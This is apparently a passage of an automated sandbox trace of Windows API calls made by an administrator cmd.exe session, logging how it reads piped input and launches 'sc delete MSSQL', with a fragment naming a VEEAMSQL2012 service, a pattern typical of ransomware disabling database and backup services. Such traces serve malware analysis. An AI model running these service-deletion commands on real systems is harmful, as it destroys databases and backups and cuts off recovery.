ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0075.946] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e33c, cchWideChar=1 | out: lpWideCharStr="Lgent$VEEAMSQL2012\"\n") returned 1 [0075.946] _get_osfhandle (_FileHandle=0) returned 0xb8 [0075.946] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0075.946] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0075.946] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e33e, cchWideChar=1 | out: lpWideCharStr="\nent$VEEAMSQL2012\"\n") returned 1 [0075.946] _get_osfhandle (_FileHandle=0) returned 0xb8 [0075.946] GetFileType (hFile=0xb8) returned 0x3 [0075.946] _get_osfhandle (_FileHandle=0) returned 0xb8 [0075.946] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0075.946] _get_osfhandle (_FileHandle=1) returned 0x120 [0075.946] GetFileType (hFile=0x120) returned 0x3 [0075.946] _get_osfhandle (_FileHandle=1) returned 0x120 [0075.946] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="sc delete MSSQL\n", cchWideChar=-1, lpMultiByteStr=0x49f9c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sc delete MSSQL\n", lpUsedDefaultChar=0x0) returned 17 [0075.946] WriteFile (in: hFile=0x120, lpBuffer=0x49f9c320*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1afab8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesWritten=0x1afab8*=0x10, lpOverlapped=0x0) returned 1 [0075.946] GetProcessHeap () returned 0x240000 [0075.946] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x4012) returned 0x268630 [0075.946] GetProcessHeap () returned 0x240000 [0075.946] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x268630 | out: hHeap=0x240000) returned 1 [0075.946] GetProcessHeap () returned 0x240000 [0075.946] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0xb0) returned 0x264660 [0075.946] GetProcessHeap () returned 0x240000 [0075.946] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x16) returned 0x2589b0 [0075.947] GetProcessHeap () returned 0x240000 [0075.947] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x2c) returned 0x256510 [0075.947] GetConsoleOutputCP () returned 0x1b5 [0075.947] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x49f9bfe0 | out: lpCPInfo=0x49f9bfe0) returned 1 [0075.947] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0075.947] GetConsoleTitleW (in: lpConsoleTitle=0x1afa70, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0075.947] GetProcessHeap () returned 0x240000 [0075.947] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x218) returned 0x259910 [0075.947] GetProcessHeap () returned 0x240000 [0075.947] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x32) returned 0x256550 [0075.947] GetProcessHeap () returned 0x240000 [0075.947] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x420) returned 0x25c5b0 [0075.948] SetErrorMode (uMode=0x0) returned 0x1 [0075.948] SetErrorMode (uMode=0x1) returned 0x0 [0075.948] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x25c5c0, lpFilePart=0x1af300 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x1af300*="Desktop") returned 0x25 [0075.948] SetErrorMode (uMode=0x1) returned 0x1 [0075.948] GetProcessHeap () returned 0x240000 [0075.948] RtlReAllocateHeap (Heap=0x240000, Flags=0x0, Ptr=0x25c5b0, Size=0x62) returned 0x25c5b0 [0075.948] GetProcessHeap () returned 0x240000 [0075.948] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x25c5b0) returned 0x62 [0075.948] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x49f8f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0075.948] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0075.948] GetProcessHeap () returned 0x240000 [0075.948] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x128) returned 0x255b70 [0075.948] GetProcessHeap () returned 0x240000 [0075.948] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x240) returned 0x241ab0 [0075.948] GetProcessHeap () returned 0x240000 [0075.948] RtlReAllocateHeap (Heap=0x240000, Flags=0x0, Ptr=0x241ab0, Size=0x12a) returned 0x241ab0 [0075.948] GetProcessHeap () returned 0x240000 [0075.948] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x241ab0) returned 0x12a [0075.948] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x49f8f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0075.948] GetProcessHeap () returned 0x240000 [0075.948] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0xe8) returned 0x259b30 [0075.948] GetProcessHeap () returned 0x240000 [0075.948] RtlReAllocateHeap (Heap=0x240000, Flags=0x0, Ptr=0x259b30, Size=0x7e) returned 0x259b30 [0075.948] GetProcessHeap () returned 0x240000 [0075.948] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x259b30) returned 0x7e [0075.948] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0075.949] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x1af070, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1af070) returned 0xffffffffffffffff [0075.949] GetLastError () returned 0x2 [0075.949] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sc", fInfoLevelId=0x1, lpFindFileData=0x1af070, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1af070) returned 0xffffffffffffffff [0075.949] GetLastError () returned 0x2 [0075.949] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0075.949] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x1af070, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1af070) returned 0x259bc0 [0075.949] FindClose (in: hFindFile=0x259bc0 | out: hFindFile=0x259bc0) returned 1 [0075.949] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.COM", fInfoLevelId=0x1, lpFindFileData=0x1af070, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1af070) returned 0xffffffffffffffff [0075.949] GetLastError () returned 0x2 [0075.949] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.EXE", fInfoLevelId=0x1, lpFindFileData=0x1af070, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1af070) returned 0x259bc0 [0075.950] FindClose (in: hFindFile=0x259bc0 | out: hFindFile=0x259bc0) returned 1 [0075.950] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3 [0075.950] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2 [0075.950] GetConsoleTitleW (in: lpConsoleTitle=0x1af5c0, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0075.950] GetProcessHeap () returned 0x240000 [0075.950] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x21c) returned 0x259180 [0075.950] GetConsoleTitleW (in: lpConsoleTitle=0x259190, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0075.950] GetProcessHeap () returned 0x240000 [0075.950] RtlReAllocateHeap (Heap=0x240000, Flags=0x0, Ptr=0x259180, Size=0x98) returned 0x259180 [0075.950] GetProcessHeap () returned 0x240000 [0075.950] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x259180) returned 0x98 [0075.950] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe - sc delete MSSQL") returned 1 [0075.951] GetProcessHeap () returned 0x240000 [0075.951] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x259180 | out: hHeap=0x240000) returned 1 [0075.951] InitializeProcThreadAttributeList (in: lpAttributeList=0x1af378, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x1af338 | out: lpAttributeList=0x1af378, lpSize=0x1af338) returned 1 [0075.951] UpdateProcThreadAttribute (in: lpAttributeList=0x1af378, dwFlags=0x0, Attribute=0x60001, lpValue=0x1af328, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x1af378, lpPreviousValue=0x0) returned 1 [0075.951] GetStartupInfoW (in: lpStartupInfo=0x1af490 | out: lpStartupInfo=0x1af490*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xb8, hStdOutput=0x120, hStdError=0x120)) [0075.951] GetProcessHeap () returned 0x240000 [0075.951] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x20) returned 0x254610 [0075.951] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0075.951] _wcsnicmp (_String1="COPYCMD", _String2="=ExitCo", _MaxCount=0x7) returned 38 [0075.951] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2 [0075.951] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2 [0075.951] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0075.951] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0075.951] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0075.951] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0075.951] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3 [0075.951] _wcsnicmp (_String1="COPYCMD", _String2="FP_NO_H", _MaxCount=0x7) returned -3 [0075.951] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5 [0075.951] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5 [0075.951] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9 [0075.951] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0075.952] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0075.952] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0075.952] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13 [0075.952] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13 [0075.952] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0075.952] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0075.952] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0075.952] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0075.952] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0075.952] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0075.952] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0075.952] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0075.952] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13 [0075.952] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13 [0075.952] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0075.952] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0075.952] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16 [0075.952] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17 [0075.952] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0075.952] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0075.952] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18 [0075.952] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18 [0075.952] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20 [0075.952] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0075.952] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0075.952] GetProcessHeap () returned 0x240000 [0075.952] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x254610 | out: hHeap=0x240000) returned 1 [0075.952] GetProcessHeap () returned 0x240000 [0075.952] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x12) returned 0x2589d0 [0075.952] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\sc.exe", lpCommandLine="sc delete MSSQL", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x1af3b0*(cb=0x70, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="sc delete MSSQL", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x1af360 | out: lpCommandLine="sc delete MSSQL", lpProcessInformation=0x1af360*(hProcess=0x54, hThread=0x50, dwProcessId=0xb70, dwThreadId=0xae0)) returned 1 [0075.956] CloseHandle (hObject=0x50) returned 1 [0075.956] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0075.956] GetProcessHeap () returned 0x240000 [0075.956] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25ba90 | out: hHeap=0x240000) returned 1 [0075.956] GetEnvironmentStringsW () returned 0x261b10* [0075.956] GetProcessHeap () returned 0x240000 [0075.956] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0xb0e) returned 0x25ba10 [0075.956] FreeEnvironmentStringsW (penv=0x261b10) returned 1 [0075.956] NtQueryInformationProcess (in: ProcessHandle=0x54, ProcessInformationClass=0x0, ProcessInformation=0x1aec68, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x1aec68, ReturnLength=0x0) returned 0x0 [0075.956] ReadProcessMemory (in: hProcess=0x54, lpBaseAddress=0x7fffffdb000, lpBuffer=0x1aeca0, nSize=0x380, lpNumberOfBytesRead=0x1aec60 | out: lpBuffer=0x1aeca0*, lpNumberOfBytesRead=0x1aec60*=0x380) returned 1 [0075.957] WaitForSingleObject (hHandle=0x54, dwMilliseconds=0xffffffff) returned 0x0 [0076.014] GetExitCodeProcess (in: hProcess=0x54, lpExitCode=0x1af2a8 | out: lpExitCode=0x1af2a8*=0x424) returned 1 [0076.014] CloseHandle (hObject=0x54) returned 1 [0076.014] _vsnwprintf (in: _Buffer=0x1af518, _BufferCount=0x13, _Format="%08X", _ArgList=0x1af2b8 | out: _Buffer="00000424") returned 8 [0076.014] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000424") returned 1 [0076.014] GetProcessHeap () returned 0x240000 [0076.014] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25ba10 | out: hHeap=0x240000) returned 1 [0076.014] GetEnvironmentStringsW () returned 0x261b10* [0076.014] GetProcessHeap () returned 0x240000 [0076.015] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0xb0e) returned 0x25ba10 [0076.015] FreeEnvironmentStringsW (penv=0x261b10) returned 1 [0076.015] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0076.015] GetProcessHeap () returned 0x240000 [0076.015] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25ba10 | out: hHeap=0x240000) returned 1 [0076.015] GetEnvironmentStringsW () returned 0x261b10* [0076.015] GetProcessHeap () returned 0x240000 [0076.015] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0xb0e) returned 0x25ba10 [0076.015] FreeEnvironmentStringsW (penv=0x261b10) returned 1 [0076.015] GetProcessHeap () returned 0x240000 [0076.015] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x2589d0 | out: hHeap=0x240000) returned 1 [0076.015] DeleteProcThreadAttributeList (in: lpAttributeList=0x1af378 | out: lpAttributeList=0x1af378) [0076.015] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 1 [0076.016] _get_osfhandle (_FileHandle=1) returned 0x120 [0076.016] SetConsoleMode (hConsoleHandle=0x120, dwMode=0x0) returned 0 [0076.016] _get_osfhandle (_FileHandle=1) returned 0x120 [0076.016] GetConsoleMode (in: hConsoleHandle=0x120, lpMode=0x49f8e194 | out: lpMode=0x49f8e194) returned 0 [0076.016] _get_osfhandle (_FileHandle=0) returned 0xb8 [0076.016] GetConsoleMode (in: hConsoleHandle=0xb8, lpMode=0x49f8e198 | out: lpMode=0x49f8e198) returned 0 [0076.016] GetConsoleOutputCP () returned 0x1b5 [0076.016] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x49f9bfe0 | out: lpCPInfo=0x49f9bfe0) returned 1 [0076.016] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0076.016] GetProcessHeap () returned 0x240000 [0076.016] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x259b30 | out: hHeap=0x240000) returned 1 [0076.017] GetProcessHeap () returned 0x240000 [0076.017] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x241ab0 | out: hHeap=0x240000) returned 1 [0076.017] GetProcessHeap () returned 0x240000 [0076.017] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x255b70 | out: hHeap=0x240000) returned 1 [0076.017] GetProcessHeap () returned 0x240000 [0076.017] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25c5b0 | out: hHeap=0x240000) returned 1 [0076.017] GetProcessHeap () returned 0x240000 [0076.017] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x256550 | out: hHeap=0x240000) returned 1 [0076.017] GetProcessHeap () returned 0x240000 [0076.017] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x259910 | out: hHeap=0x240000) returned 1 [0076.017] GetProcessHeap () returned 0x240000 [0076.017] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x256510 | out: hHeap=0x240000) returned 1 [0076.017] GetProcessHeap () returned 0x240000 [0076.017] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x2589b0 | out: hHeap=0x240000) returned 1 [0076.017] GetProcessHeap () returned 0x240000 [0076.017] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x264660 | out: hHeap=0x240000) returned 1 [0076.017] _vsnwprintf (in: _Buffer=0x49fa6340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x1af7d8 | out: _Buffer="\r\n") returned 2 [0076.017] _get_osfhandle (_FileHandle=1) returned 0x120 [0076.017] GetFileType (hFile=0x120) returned 0x3 [0076.017] _get_osfhandle (_FileHandle=1) returned 0x120 [0076.017] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x49f9c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0076.017] WriteFile (in: hFile=0x120, lpBuffer=0x49f9c320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x1af7a8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesWritten=0x1af7a8*=0x2, lpOverlapped=0x0) returned 1 [0076.017] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x49f8f360, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0076.017] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x49f9c0a0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0076.017] _vsnwprintf (in: _Buffer=0x49f8eb60, _BufferCount=0x3fe, _Format="%s", _ArgList=0x1af7e8 | out: _Buffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 37 [0076.018] _vsnwprintf (in: _Buffer=0x49f8ebaa, _BufferCount=0x3d9, _Format="%c", _ArgList=0x1af7e8 | out: _Buffer=">") returned 1 [0076.018] _get_osfhandle (_FileHandle=1) returned 0x120 [0076.018] GetFileType (hFile=0x120) returned 0x3 [0076.018] _get_osfhandle (_FileHandle=1) returned 0x120 [0076.018] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", cchWideChar=-1, lpMultiByteStr=0x49f9c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", lpUsedDefaultChar=0x0) returned 39 [0076.018] WriteFile (in: hFile=0x120, lpBuffer=0x49f9c320*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x1af7d8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesWritten=0x1af7d8*=0x26, lpOverlapped=0x0) returned 1 [0076.018] _get_osfhandle (_FileHandle=0) returned 0xb8 [0076.018] GetFileType (hFile=0xb8) returned 0x3 [0076.018] _get_osfhandle (_FileHandle=0) returned 0xb8 [0076.018] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0076.018] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0076.018] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e320, cchWideChar=1 | out: lpWideCharStr="sc delete MSSQL\nent$VEEAMSQL2012\"\n") returned 1 [0076.018] _get_osfhandle (_FileHandle=0) returned 0xb8 [0076.018] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0076.018] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0076.018] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e322, cchWideChar=1 | out: lpWideCharStr="c delete MSSQL\nent$VEEAMSQL2012\"\n") returned 1 [0076.018] _get_osfhandle (_FileHandle=0) returned 0xb8 [0076.018] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0076.018] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0076.019] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e324, cchWideChar=1 | out: lpWideCharStr=" delete MSSQL\nent$VEEAMSQL2012\"\n") returned 1 [0076.019] _get_osfhandle (_FileHandle=0) returned 0xb8 [0076.019] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0076.019] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0076.019] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e326, cchWideChar=1 | out: lpWideCharStr="delete MSSQL\nent$VEEAMSQL2012\"\n") returned 1 [0076.019] _get_osfhandle (_FileHandle=0) returned 0xb8 [0076.019] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0076.019] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0076.019] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e328, cchWideChar=1 | out: lpWideCharStr="elete MSSQL\nent$VEEAMSQL2012\"\n") returned 1 [0076.019] _get_osfhandle (_FileHandle=0) returned 0xb8 [0076.019] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0076.019] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0076.019] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e32a, cchWideChar=1 | out: lpWideCharStr="lete MSSQL\nent$VEEAMSQL2012\"\n") returned 1 [0076.019] _get_osfhandle (_FileHandle=0) returned 0xb8 [0076.019] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0076.019] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: 